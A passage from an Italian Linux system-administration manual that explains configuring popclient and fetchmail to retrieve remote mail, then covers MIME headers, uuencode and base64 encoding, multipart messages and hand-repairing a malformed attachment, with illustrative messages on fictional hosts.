L'esempio seguente riguarda il caso in cui si voglia prelevare la posta dal nodo *`weizen.mehl.dg`*, utilizzando il protocollo POP3, con un nominativo-utente «tizio» e la parola d'ordine «tazza», depositando i messaggi nel file '`/home/tizio/mail/inbox`':

```
# .poprc

server  weizen.mehl.dg          \
        proto pop3              \
        user tizio              \
        pass tazza              \
        localfolder /home/tizio/mail/inbox
```

Si può leggere eventualmente la pagina di manuale *popclient(1)*.

45.11.3 Fetchmail

Fetchmail[10] è un sistema di recupero della posta remota molto complesso. Permette di inserire i messaggi ottenuti nel sistema di consegna locale attraverso un MDA come Sendmail o equivalente; oppure può utilizzare direttamente il protocollo SMTP per ottenere lo stesso risultato, o per inserire i messaggi in un sistema di trasporto più vicino (quale quello di una rete locale).

Può funzionare anche come demone personale (di un utente) in modo da provvedere regolarmente allo scarico dei messaggi.

Fetchmail ha il vantaggio di poter utilizzare una grande varietà di protocolli fatti per questo scopo. In linea di massima ci si può concentrare sui soliti POP2, POP3 e IMAP, ma è bene tenere presente che le possibilità sono maggiori, nel caso si presentasse l'occasione.

L'eseguibile '**`fetchmail`**' può essere gestito molto bene attraverso la riga di comando, ma è consigliabile anche la sua configurazione attraverso il file '`~/.fetchmailrc`', il quale permette di agevolare le operazioni di routine.

`fetchmail` [***opzioni***] ***nodo_remoto***

Se si pone un conflitto tra quanto specificato tramite le opzioni della riga di comando e le direttive del file di configurazione, le prime prevalgono.

Opzione	Descrizione
`-a` `--all`	Scarica tutti i messaggi, compresi quelli che risultano già visti.
`-k` `--keep`	Non cancella i messaggi che vengono scaricati.
`-u` ***utente_remoto*** `--username` ***utente_remoto***	Specifica precisamente il nome da utilizzare per accedere al servente remoto. Se non viene indicata questa informazione (attraverso la riga di comando, oppure attraverso la configurazione), si intende lo stesso nome utilizzato nel sistema locale.
`-t` ***n_secondi*** `--timeout` ***n_secondi***	Permette di stabilire un tempo massimo per la connessione, oltre il quale Fetchmail deve abbandonare il tentativo.
`-d` ***n_secondi*** `--daemon` ***n_secondi***	Avvia Fetchmail in modalità demone, cioè sullo sfondo, allo scopo di eseguire la scansione dei serventi in modo regolare. L'argomento esprime la durata dell'intervallo tra una scansione e l'altra, espresso in secondi. Ogni utente può avviare una sola copia dell'eseguibile '**`fetchmail`**' in modalità demone; tuttavia, se si tenta di avviare una nuova copia di '**`fetchmail`**', quando è già attivo il demone, ciò fa sì che venga eseguita immediatamente una nuova scansione.

Il file di configurazione di Fetchmail è molto importante. È interessante notare che non esiste un file di configurazione generale, ma solo quelli dei singoli utenti; infatti, il recupero della posta elettronica è un'operazione personale.

Per motivi di sicurezza, dal momento che può contenere informazioni delicate, è necessario che il file di configurazione abbia esclusivamente i permessi di lettura e scrittura per l'utente proprietario (0600_8). Se il file ha permessi maggiori, Fetchmail avverte e si rifiuta di proseguire.

Prima di analizzare la sintassi che può essere utilizzata al suo interno, si può notare che i commenti vengono espressi nel modo consueto, attraverso il simbolo '**`#`**' che li introduce, dove poi tutto quello che segue, fino alla fine della riga, viene ignorato. Così anche le righe bianche e quelle vuote vengono ignorate.

Ogni direttiva del file '`~/.fetchmailrc`' contiene tutte le specifiche riferite al recupero della posta elettronica da un servente determinato. Queste direttive possono impiegare più righe, senza la necessità di indicare simboli di continuazione, distinguendosi perché iniziano con la parola chiave '**`poll`**', oppure '**`skip`**'.

Una direttiva '**`poll`**' rappresenta un servente da interpellare, mentre una direttiva '**`skip`**', uno da saltare. Di fatto non serve una direttiva '**`skip`**', ma può essere utile per evitare di cancellarla, riservando per il futuro la possibilità di riutilizzarla rimettendo la parola chiave '**`poll`**'.

Le direttive sono composte da una serie di parole chiave che rappresentano delle opzioni, a volte accompagnate da un argomento. Alcune parole chiave sono speciali, in quanto, pur non avendo alcun significato, sono utili per facilitare la lettura delle direttive. Tali parole sono: '**`and`**', '**`with`**', '**`has`**', '**`wants`**' e '**`options`**'. Nello stesso modo, possono essere usati la virgola, il punto e virgola, i due punti, i quali vengono ignorati ugualmente.

All'interno di ogni direttiva, deve essere rispettato un certo ordine nell'indicazione delle opzioni. Se ne distinguono due tipi: opzioni del servente e opzioni dell'utente. Le opzioni del servente devono apparire prima di quelle dell'utente.

Per comprendere il senso di queste direttive, è bene fare mente locale al formato generale che queste possono avere:

`poll` ***servente*** [`protocol` ***protocollo***] [`username` ***utente_remoto***] [`password` ***parola_d'ordine***]

Gli argomenti delle opzioni che rappresentano delle stringhe, possono essere racchiusi tra apici doppi, in modo da poter contenere simboli particolari, come gli spazi (specialmente quando si tratta di indicare le parole d'ordine).

Opzioni del servente

Opzione	Descrizione
`poll` ***servente*** `skip` ***servente***	Specifica l'accesso a un servente. Se si usa la parola chiave '**`skip`**', tutta la direttiva viene ignorata.
`proto` ***protocollo*** `protocol` ***protocollo***	Il tipo di protocollo da utilizzare, viene determinato normalmente in modo automatico. Con questa opzione può essere specificato espressamente, indicando una parola chiave determinata: '**`POP2`**', '**`POP3`**', '**`IMAP`**', '**`IMAP-K4`**', '**`IMAP-GSS`**', '**`APOP`**', '**`KPOP`**'. Si noti che queste parole chiave possono essere espresse anche utilizzando solo lettere minuscole.
`port` ***n_porta***	Permette di specificare il numero della porta da utilizzare, nel caso il servente ne utilizzi una non standard.
`timeout` ***n_secondi***	Specifica il tempo massimo di inattività, dopo il quale si conclude la connessione, o il suo tentativo.
`interface` ***interfaccia / numero_ip / maschera***	Permette di specificare un'interfaccia di rete, assieme al gruppo di indirizzi che deve avere, prima di tentare la connessione con il servente remoto.

Opzioni dell'utente

Opzione	Descrizione
`user` ***utente_remoto*** `username` ***utente_remoto***	Specifica il nome da utilizzare per accedere al sistema remoto.
`is` ***utente_locale*** `here`	Rappresenta il nome dell'utente locale che deve ricevere il messaggio. Di solito non si specifica, essendo quello che effettua l'operazione di recupero.
`pass` ***parola_d'ordine*** `password` ***parola_d'ordine***	La parola d'ordine per accedere al sistema remoto.
`fetchall`	Richiede espressamente il recupero di tutti i messaggi, compresi quelli già prelevati, ma mantenuti nel servente per qualche motivo.
`limit` ***n_byte***	Fissa la dimensione massima dei messaggi che possono essere prelevati. Quelli che eccedono tale limite vengono lasciati nel servente e risultano «non letti».
`syslog`	Utilizza il registro di sistema per annotare gli errori.

Segue la descrizione di alcuni esempi.

```
poll roggen.brot.dg protocol pop3 username tizio password "frase segreta"
```

Rappresenta la scansione del servente *`roggen.brot.dg`* con il protocollo POP3, utilizzando il nominativo-utente '**`tizio`**' che richiede la parola d'ordine '**`frase segreta`**' (indicato opportunamente tra virgolette).

```
poll roggen.brot.dg protocol pop3 username tizio password "frase segreta"
poll schwarz.brot.dg username tizio1 password "ciao ciao"
```

Qui si prevede la scansione di due serventi, dove nel secondo caso non viene specificato il protocollo e anche il nominativo utilizzato risulta differente dal primo.

```
poll roggen.brot.dg
    protocol pop3
    username tizio
    password "frase segreta"

poll schwarz.brot.dg
    username tizio1
    password "ciao ciao"
```

Come nell'esempio precedente, ma più strutturato e più facile da leggere.

```
poll roggen.brot.dg protocol pop3
    username tizio password "frase segreta" is tizio here
    username caio password "ciao caio" is caio2 here
    username pippo password "marameo maramao" is pippo here
```

In questo caso, per uno stesso servente sono stati indicati diversi utenti remoti e locali. Per intendere il senso, si osservi che l'utente remoto '**caio**' corrisponde all'utente locale '**caio2**'.

Evidentemente, per ottenere un tale risultato, è necessario che l'utente che avvia Fetchmail conosca tutte le parole d'ordine di questi utenti.

45.11.4 Gestione remota della posta elettronica

Trattando l'argomento del trasferimento della posta remota, non bisogna dimenticare la possibilità offerta da certi programmi MUA (*Mail user agent*) di gestirsi la posta elettronica senza doverla scaricare.

Va comunque osservato che la tendenza è quella di utilizzare la posta elettronica lì dove si trova, attraverso applicativi MUA offerti con la mediazione di pagine HTML dinamiche (programmi CGI). In generale questo approccio è più «semplice» per l'utilizzatore comune, comportando però dei rischi maggiori per chi ha a cuore la riservatezza e la durata dei propri dati.

45.12 Messaggi, allegati ed estensioni MIME

Il messaggio di posta elettronica tradizionale è composto utilizzando soltanto la codifica ASCII a 7 bit e ha un aspetto simile all'esempio seguente:

```
Date: Tue, 17 Jul 2001 11:27:59 +0200
From: caio@dinkel.brot.dg
To: tizio@dinkel.brot.dg
Subject: Messaggio tradizionale
Message-Id: <E15MR95-0001Wb-00@dinkel.brot.dg>

Questo rappresenta un esempio di messaggio di posta elettronica
tradizionale, dove si utilizzano solo i primi 7 bit.
In pratica, per quanto riguarda la lingua italiana, non si possono
usare le lettere accentate.
```

Per garantire che un messaggio di posta elettronica viaggi attraverso qualsiasi servente SMTP, può essere necessario che si rimanga nell'ambito dei soli 7 bit, oltre al fatto di mettere un limite alla lunghezza delle righe.

La necessità di scrivere in lingue differenti dall'inglese e di poter trasmettere informazioni diverse dal solito testo puro e semplice, ha fatto nascere lo standard multimediale MIME (*Multipurpose internet mail extentions*).

Con le estensioni multimediali MIME è possibile definire come deve essere interpretato il contenuto di un messaggio di posta elettronica, il quale così può essere codificato in modo particolare, per trasportare anche informazioni diverse dal solo testo ASCII puro, rispettando i limiti tradizionali dei sistemi di trasporto dei messaggi.

Negli esempi che si mostrano in questo capitolo, viene omessa la riga di intestazione iniziale del tipo seguente, la quale è comunque essenziale per completare il messaggio, ma che qui non serve per comprendere quanto spiegato e rischia solo di creare confusione con il campo '**`From:`**':

```
From daniele@swlibero.org Tue Jul 17 12:28:15 2001 +0200
```

45.12.1 Allegati

L'invio di un file allegato a un messaggio di posta elettronica richiede un modo per inserire e circoscrivere questo file, oltre alla sua trasformazione in modo tale che possa essere gestito come un file di testo normale. In pratica, è come allegare un file a un file di testo, dal quale deve poter essere estrapolato correttamente in un momento successivo.

Figura 45.44. Procedimento necessario a produrre un allegato.

file binario

```
lkjsdhèe9
845ry#fgg
fòéùìÌÀÒÈ
öüä$%&£K*
```

file ASCII

```
G;&MJ<V1H
Z&4Y"C@T-
7)Y(V9G9P
IF\NGY[,S
'TL@*]OSD
)"4FHTLJ'
```

allegato ASCII

```
begin
G;&MJ<V1H
Z&4Y"C@T-
7)Y(V9G9P
IF\NGY[,S
'TL@*]OSD
)"4FHTLJ'
end
```

Dal momento che in un messaggio di posta elettronica alcuni caratteri hanno un significato speciale (senza contare l'importanza di alcune parole chiave quando collocate a partire dalla prima colonna), sono da escludere anche questi nelle trasformazioni necessarie a creare gli allegati.

La figura 45.44 mostra in modo semplificato il problema che si tenta di descrivere: un file viene prima trasformato, in base a un certo algoritmo, in un file di testo puro che possa essere trasmesso attraverso il sistema della posta elettronica; questa trasformazione genera necessariamente un file più grande di quello di partenza; quindi, per diventare un allegato, occorre un modo per circoscriverlo, aggiungendo anche le informazioni necessarie a riprodurre il file originale (che nell'esempio della figura sono state omesse per semplicità).

45.12.2 Uuencode

Uuencode[11] è il sistema storico per la conversione di file di qualunque tipo in un allegato in forma di file ASCII, utilizzato senza gestire le estensioni MIME. Si compone di due eseguibili: '**`uuencode`**' per la codifica e '**`uudecode`**' per la decodifica.

Il programma '**`uuencode`**' si comporta in maniera differente a seconda che riceva il file da codificare dallo standard input, oppure che questo gli sia indicato come argomento della riga di comando:

`uuencode` [`-m`] ***file_da_codificare*** ***nome_da_usare***

```
cat file_da_codificare | uuencode [-m] nome_da_usare
```

In entrambi i casi, il risultato della codifica viene emesso attraverso lo standard output, con la differenza che nel primo caso il file da codificare viene indicato come primo argomento, mentre nel secondo viene fornito attraverso lo standard input. L'ultimo argomento è sempre obbligatorio e rappresenta il nome che si vuole attribuire a questo file, ovvero il nome che viene usato nel momento dell'estrazione.

L'unica opzione disponibile, '**-m**', consente di richiedere espressamente l'utilizzo della codifica Base64.

Disponendo del file già visto nella figura 45.44, ovvero il testo

```
lkjsdhèe9
845ry#fgg
fòéùìÌÀÒÈ
öüä$%&£K*
```

supponendo che si tratti del file 'prova.xxx', si potrebbe codificare con '**uuencode**' nel modo seguente:

$ **uuencode prova.xxx prova.xxx > allegato.txt** [*Invio*]

Si può osservare che il nome '**prova.xxx**' appare due volte nella riga di comando: la prima volta indica il file da leggere per la codifica; la seconda indica il nome da indicare nell'allegato, in modo che al momento della decodifica si riottenga lo stesso file. Il file 'allegato.txt' che si ottiene ha l'aspetto seguente:

```
begin 664 prova.xxx
G;&MJ<V1HZ&4Y"C@T-7)Y(V9G9PIF\NGY[,S`TL@*]OSD)"4FHTLJ
`
end
```

In alternativa, usando la codifica Base64,

$ **uuencode -m prova.xxx prova.xxx > allegato.txt** [*Invio*]

si ottiene invece:

```
begin-base64 664 prova.xxx
bGtqc2Ro6GU5Cjg0NXJ5I2ZnZwpm8un57MzA0sgK9vzkJCUmo0sq
====
```

Evidentemente il principio è lo stesso, cambiando il modo di delimitare il file e di indicare le sue caratteristiche.

Il numero che appare dopo la parola chiave '**begin**', o dopo '**begin-base64**', rappresenta i permessi da attribuire al file, indicato subito dopo, in ottale. Nel caso dell'esempio, trattandosi di 664_8, si intendono attribuire i permessi di lettura e scrittura al proprietario e al gruppo, lasciando solo i permessi di lettura agli altri utenti.

Naturalmente, si possono creare anche situazioni più complesse, come nel caso in cui il file di origine sia prima compresso, poi codificato e quindi trasmesso attraverso la posta elettronica:

$ **cat prova.xxx | gzip | uuencode prova.xxx.gz ↩**
↪| mail tizio@dinkel.brot.dg [*Invio*]

In questo caso, il messaggio che deve ricevere *tizio@dinkel.brot.dg* è, più o meno, quello seguente:

```
To: tizio@dinkel.brot.dg
Message-Id: <E15L3u4-00009I-00@dinkel.brot.dg>
From: caio@dinkel.brot.dg
Date: Fri, 13 Jul 2001 16:26:48 +0200

begin 664 prova.xxx.gz
M'XL(`"<%3SL``\O)SBI.R7B1:LEE86):5*F<EI[.E?;IY<\W9PY<.L'U[<\3
/%56UQ=Y:`#NWZ88G````
`
end
```

Il programma '**uudecode**' funziona in modo simmetrico rispetto a '**uuencode**'. In questo caso, dal momento che il nome del file da rigenerare fa già parte delle informazioni necessarie dell'allegato, è sufficiente fornire a '**uudecode**' il file di testo contenente l'allegato. Il file in questione può anche essere un messaggio di posta elettronica, completo di intestazione, come nell'ultimo esempio mostrato per la codifica.

uudecode [-o *file_da_generare*] *file_con_allegato*...

cat *file_con_allegato* | uudecode [-o *file_da_generare*]

In generale non si usa l'opzione '**-o**', a meno che ci sia la necessità di generare un file con un nome differente da quanto previsto da chi ha predisposto l'allegato.

$ **uudecode allegato.txt** [*Invio*]

L'esempio soprastante è elementare, ma rappresenta l'uso normale di '**uudecode**'. In questo caso, il file '`allegato.txt`' è ciò che contiene l'allegato, dal quale viene estratto probabilmente un file, il cui nome è già stato deciso in precedenza.

45.12.3 Involucro MIME

Un messaggio realizzato secondo le estensioni MIME contiene informazioni aggiuntive specifiche nell'intestazione, come si vede nell'esempio seguente:

```
Date: Tue, 17 Jul 2001 12:28:23 +0200 (CEST)
From: caio@dinkel.brot.dg
To: daniele@dinkel.brot.dg
Subject: Messaggio MIME semplice
Message-ID: <Pine.LNX.4.04.10107171139070.5873@dinkel.brot.dg>
```

```
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE

Questo =E8 un messaggio un po' pi=F9 complesso, perch=E9
consente l'uso di un insieme di caratteri pi=F9 ampio.
```

In generale appare il campo '**`MIME-Version:`**', il quale dichiara l'utilizzo delle estensioni, secondo la versione indicata, anticipando così la presenza di altri campi specifici. L'elenco seguente descrive quelli essenziali.

- `Content-type:` *tipo*/*sottotipo* [; *opzione*]...

  Il campo '**`Content-type:`**' serve a specificare il tipo e il sottotipo MIME del messaggio. Esiste un tipo MIME particolare che serve a dichiarare la presenza di più componenti; si tratta di '**`multipart`**' e viene chiarito meglio nel seguito il suo significato.

  Il campo '**`Content-type:`**', oltre al tipo e al sottotipo MIME, consente l'indicazione aggiuntiva di informazioni opzionali, precedute da un punto e virgola ('**`;`**'), che chiariscono ulteriormente le caratteristiche dell'informazione contenuta. Per esempio, quando si tratta di '**`text/plain`**', può essere specificato l'insieme di caratteri con l'opzione '**`charset=`***insieme_di_caratteri*'. In mancanza di indicazioni, l'insieme di caratteri corrisponde a '**`us-ascii`**', mentre nell'esempio si vede l'uso dell'insieme '**`iso-8859-1`**', corrispondente a ISO 8859-1. Segue la descrizione delle opzioni più frequenti.

  - `charset=`*insieme_di_caratteri*

    Definisce l'insieme di caratteri nel caso si tratti di un testo. Il valore predefinito è '**`us-ascii`**', mentre '**`iso-8859-`***n*' rappresenta una codifica secondo lo standard ISO 8859-*n*.

  - `name=`*file*

    Definisce il nome del file nel caso il contenuto venga salvato.

  - `boundary="`*stringa*`"`

    Definisce la stringa di delimitazione del confine delle componenti MIME multiple.

- `Content-Transfer-Encoding:` *codifica_per_il_trasferimento*

  Il campo '**`Content-Transfer-Encoding:`**' serve a specificare in che modo avviene la trasformazione delle informazioni stabilite nel campo '**`Content-type:`**', per le esigenze legate al trasferimento del messaggio. In pratica si tratta di indicare una parola chiave che chiarisca come interpretare il contenuto del messaggio al momento della ricezione.

L'esempio mostra l'uso del tipo '**`quoted-printable`**' (non fa differenza l'uso delle maiuscole o delle minuscole).

- ```
  Content-Transfer-Encoding: 7bit
  ```
  Si tratta della codifica predefinita, ovvero della situazione in cui non è necessario apportare alcuna trasformazione, perché si utilizzano solo i primi 7 bit e le righe di testo non sono troppo lunghe.

- ```
  Content-Transfer-Encoding: 8bit
  ```
  In questo caso si tratta di un testo in cui vengono usati 8 bit, senza trasformazioni, con righe non troppo lunghe. Tuttavia, questa sarebbe una codifica non conveniente, perché non si può essere certi che tutti i serventi SMTP siano in grado di mantenere invariate tali informazioni.

- ```
  Content-Transfer-Encoding: binary
  ```
  Le informazioni sono inserite così come sono, senza alcuna trasformazione. In generale è impossibile trasmettere messaggi di questo tipo.

- ```
  Content-Transfer-Encoding: quoted-printable
  ```
  I caratteri che richiedono l'uso di 8 bit, si rappresentano nella forma '**`=`*`hh`***', dove la coppia ***`hh`*** rappresenta un numero esadecimale, corrispondente al codice del carattere. In pratica, la lettera «è» si rappresenta come '**`=E8`**' (come si può vedere dall'esempio); inoltre, per evitare di avere righe troppo lunghe, queste vengono spezzate ponendo il simbolo '**`=`**' alla fine della riga; infine, il carattere «=» viene rappresentato necessariamente come '**`=3D`**'.

- ```
  Content-Transfer-Encoding: base64
  ```
  Si tratta di una trasformazione in cui ogni gruppo di 24 bit (3 byte) viene trasformato in quattro caratteri (4 byte), su righe non troppo lunghe. Il nome della codifica deriva dal fatto che per ogni byte si possono rappresentare solo 64 simboli, essendo necessario escludere tutto ciò che può creare problemi alla trasmissione del messaggio. Pertanto: $2^{24} = 64^{3}$.

  Questo tipo di codifica rende completamente illeggibile, a livello umano, il suo contenuto. In questo senso, si presta alla trasmissione di immagini o di altri tipi di file che non sarebbero comunque leggibili in questo modo.
  ```

45.12.4 Messaggi contenenti più parti MIME

Il tipo MIME '**multipart**' prevede la presenza di più componenti separate, con altrettante intestazioni specifiche. In questo caso si indica comunemente il confine tra una componente e l'altra attraverso una stringa particolare (di solito creata in modo da essere univoca), dichiarata con l'opzione '**boundary="*stringa*"**' nel campo '**Content-Type:**', come si può osservare nell'esempio seguente:

```
Date: Thu, 5 Jul 2001 16:38:22 +0200 (CEST)
From: caio@dinkel.brot.dg
To: tizio@dinkel.brot.dg
Subject: Foto
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811839-324931406-994342670=:16889"

Il testo che appare qui viene ignorato.

---1463811839-324931406-994342670=:16889
Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1
Content-Transfer-Encoding: 7BIT

Ciao Tizio,
ti allego le foto che ti ho promesso.

Caio

---1463811839-324931406-994342670=:16889
Content-Type: IMAGE/JPEG; NAME="caio-1.jpg"
Content-Transfer-Encoding: BASE64

/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEB
AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/
2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB
…
…
45/Q+9TZ+XPtn9KAFopFORk9/wDGokdmdgcYAPT2IH9aAJqKqTyurooIAJ5/
L/P5fWrAJC/THX3AP9aAKU2nwzyGRgCSMc+g/D3orC1HWby2umii8rYFUjcj
E5Oc87x/KildXt/XT/NGijKytLp3Z//Z
---1463811839-324931406-994342670=:16889
Content-Type: IMAGE/JPEG; NAME="caio-2.jpg"
Content-Transfer-Encoding: BASE64

/9j/4AAQSkZJRgABAQEAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsL
DBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/
2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
…
…
AgkiBwEifAQArSQpJAD/APah2keikDwgBeEj0iOUKXAFXKIZXKQ5PSJ54tdA
VIH7Innrwm9nlABJ8JpKcRQQDfKAGpD5TiEPhACHISI5TttBCigAcoHtO8IA
ikACvlJHj5SXAP/Z
---1463811839-324931406-994342670=:16889--
```

In questo caso, la stringa '`-1463811839-324931406-994342670=:16889`' viene usata per delimitare i vari componenti del messaggio. Si può osservare che quanto contenuto tra la fine dell'intestazione del messaggio e il primo componente MIME viene ignorato dai programmi utilizzati per leggerlo. Questa zona può essere usata per annotare informazioni tecniche destinate alla lettura umana, nel caso di un accesso diretto al file.

Si noti che ogni componente MIME è preceduto dalla stringa di delimitazione, a cui si aggiungono inizialmente due trattini ('`--`'). Alla fine, dopo l'ultimo componente la stringa di delimitazione ha altri due trattini finali. Volendo schematizzare la cosa:

```
Date: data
From: mittente
To: destinatario
Subject: oggetto
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="delimitatore"

[commento]
...
...

--delimitatore
Content-Type: tipo/sottotipo [; opzione]...
Content-Transfer-Encoding: codifica_per_il_trasferimento

contenuto_codificato
...
...

[--delimitatore
Content-Type: tipo/sottotipo [; opzione]...
Content-Transfer-Encoding: codifica_per_il_trasferimento

contenuto_codificato
...
...]...

--delimitatore--
```

Teoricamente, un elemento MIME potrebbe scomporsi in altri sottoelementi, dichiarando nuovamente un tipo '`multipart`', ma questo modo di intervenire è sconsigliabile.

Un caso particolare di messaggi '`multipart`' è quello che consente di trasmettere il contenuto in forme alternative, come quando si affianca un messaggio in forma testuale a una copia più appariscente in formato HTML. In tal caso si aggiunge il sottotipo '`alternative`':

```
Content-Type: multipart/alternative; boundary="xxxx"
```

La composizione del messaggio è analoga a quanto già visto, con la differenza che il programma che consente la lettura del messaggio ricevuto, sceglie in che modo visualizzare il contenuto.

45.12.5 Sistemazione manuale di un allegato MIME

I programmi usati generalmente per scrivere e inviare la posta elettronica sono in grado normalmente di gestire gli allegati, sia per inviarli, sia per estrarli. Ogni programma aggiunge a modo suo dei campi particolari per qualche scopo, anche se non si tratta di informazioni essenziali. Seguono due esempi, realizzati con programmi differenti.

```
From: caio@dinkel.brot.dg
To: tizio@dinkel.brot.dg
Subject: Prova di trasmissione
Message-ID: <Pine.LNX.4.04.10107131839040.579@dinkel.brot.dg>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811839-1689890199-995042379=:579"
Content-ID: <Pine.LNX.4.04.10107131839530.579@dinkel.brot.dg>

---1463811839-1689890199-995042379=:579
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.04.10107131839531.579@dinkel.brot.dg>

Esempio di trasmissione con Pine.



---1463811839-1689890199-995042379=:579
Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1; NAME="prova.xxx"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.10107131839390.579@dinkel.brot.dg>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="prova.xxx"

bGtqc2Ro6GU5DQo4NDVyeSNmZ2cNCmby6fnszMDSyA0K9vzkJCUmo0sq
---1463811839-1689890199-995042379=:579--
```

```
From: caio@dinkel.brot.dg
User-Agent: Mozilla/5.0 (X11; U; Linux 2.4.2 i586; en-US; m18) Gecko/20001103
MIME-Version: 1.0
To: tizio@dinkel.brot.dg
Subject: Prova di trasmissione
Content-Type: multipart/mixed;
 boundary="------------050408090202040304080207"

This is a multi-part message in MIME format.
--------------050408090202040304080207
Content-Type: text/plain; charset=us-ascii; format=flowed
```

```
Content-Transfer-Encoding: 7bit

Ecco un esempio di allegato con Mozilla.


--------------050408090202040304080207
Content-Type: application/octet-stream;
 name="prova.xxx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="prova.xxx"

bGtqc2Ro6GU5Cjg0NXJ5I2ZnZwpm8un57MzA0sgK9vzkJCUmo0sq
--------------050408090202040304080207--
```

Purtroppo, alcune volte può capitare di ricevere messaggi in cui gli allegati sono stati inseriri in modo non standard, oppure utilizzando standard troppo recenti. In questi casi capita di non riuscire a estrarre il contenuto in alcun modo, a meno di mettere mano direttamente al messaggio, per correggere gli errori.

```
Date: Fri, 13 Jun 2001 17:30:00 +0200
Subject: Esempio di allegato non corretto
From: caio@dinkel.brot.dg
To: tizio@dinkel.brot.dg
Message-ID: <B761F178.202%caio@dinkel.brot.dg>
Mime-version: 1.0
Content-type: multipart/mixed;
   boundary="MS_Mac_OE_3076649336_173889_MIME_Part"

--MS_Mac_OE_3076649336_173889_MIME_Part
Content-type: multipart/alternative;
   boundary="MS_Mac_OE_3076649336_173889_MIME_Part"


--MS_Mac_OE_3076649336_173889_MIME_Part
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

Ecco, ti allego il file che tanto aspettavi.

--MS_Mac_OE_3076649336_173889_MIME_Part
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Esempio di allegato non corretto</TITLE>
</HEAD>
<BODY>
<P ALIGN=3DCENTER>
```

```
Ecco, ti allego il file che tanto aspettavi.
</BODY>
</HTML>


--MS_Mac_OE_3076649336_173889_MIME_Part--


--MS_Mac_OE_3076649336_173889_MIME_Part
Content-type: multipart/appledouble;
   boundary="MS_Mac_OE_3076649333_192109_MIME_Part"


--MS_Mac_OE_3076649333_192109_MIME_Part
Content-type: application/applefile; name="prova.jpg"
Content-transfer-encoding: base64
Content-disposition: attachment

AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAACAAAAADAAAAXgAAABIAAAAC
AAAAcAAAO2xKUEVHOEJJTQUA//8CAQAAAAAAAAAAAAAAAAAAAAAEZSQU5DT18yIHNtYWxs
LmpwZwAAAQAAADrqAAA56gAAAIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAA66gAAOeoAAACCU09SVAN2AIAAHACCAARJQ04j
AAAAKlBJQ1QAAAA2U1RSIAAAAEJpY2w4AAAATnBub3QAAABav7n//wAAOOYM1aTQVHD//wAA
ABoAAAAAv/T//wAAAAAM1afMv7n//wAANOIM1afcAAD//wAANNAM1aTY

--MS_Mac_OE_3076649333_192109_MIME_Part
Content-type: image/jpeg; name="prova.jpg";
 x-mac-creator="3842494D";
 x-mac-type="4A504547"
Content-disposition: attachment
Content-transfer-encoding: base64

/9j/4AAQSkZJRgABAgEBLAEsAAD/7Ro4UGhvdG9zaG9wIDMuMAA4QklNA+kKUHJpbnQgSW5m
bwAAAAB4ACgAAABIAEgAAAAAAxgCQf/3//cDQAJKIAIFewPgAAAAAAFoAWgAAAAAD3gLRQFs
ADILRUcYAFAAAQEBAAAAAScPAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZAAAAAAAAAAAAA
...
...
QI08T/rKM3l/9Q/kKl+d8gj10WjbW2szHqF/2lrR6pr9PfEGJ3+n7v5bdyk9rgdwcQ6AIjSe
SpO/nP7P/fgp92f69mo9fBGjnnHtyOoMy72AOxQ5mKxvg6Bde/8Al7Wtrr/cYrXpt+ltPMz8
uFK3+cPy/iif4H5JaXp9U+rr9H//2Q==


--MS_Mac_OE_3076649333_192109_MIME_Part--


--MS_Mac_OE_3076649336_173889_MIME_Part--
```

L'esempio che si vede sopra è ovviamente abbreviato. L'intenzione di Caio era quella di inviare un'immagine a Tizio. Si tratta precisamente del file '`prova.jpg`', ma per qualche motivo, non si riesce a estrarla.[12]

Il messaggio inizia con una breve descrizione, seguita dalla stessa cosa in HTML. Quindi appare un primo allegato, che in realtà non serve, quindi l'ultimo allegato corrispondente all'immagine cercata. Per rimediare, occorre salvare il messaggio in un file separato per poi metterci mano direttamente. Il messaggio trasformato per estrarre esclusivamente l'immagine cercata, può avere l'aspetto seguente, tenendo conto che probabilmente è necessario lasciare la prima riga di intestazione contenente il campo '**`From`** ...', che però qui è stata omessa:

```
Date: Fri, 13 Jun 2001 17:30:00 +0200
Subject: Esempio di allegato non corretto
From: caio@dinkel.brot.dg
To: tizio@dinkel.brot.dg
Mime-version: 1.0
Content-type: image/jpeg; name="prova.jpg";
Content-transfer-encoding: base64

/9j/4AAQSkZJRgABAgEBLAEsAAD/7Ro4UGhvdG9zaG9wIDMuMAA4QklNA+kKUHJpbnQgSW5m
bwAAAAB4ACgAAABIAEgAAAAAAxgCQf/3//cDQAJKIAIFewPgAAAAAAFoAWgAAAAAD3gLRQFs
ADILRUcYAFAAAQEBAAAAAScPAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZAAAAAAAAAAAA
...
...
QI08T/rKM3l/9Q/kKl+d8gj10WjbW2szHqF/2lrR6pr9PfEGJ3+n7v5bdyk9rgdwcQ6AIjSe
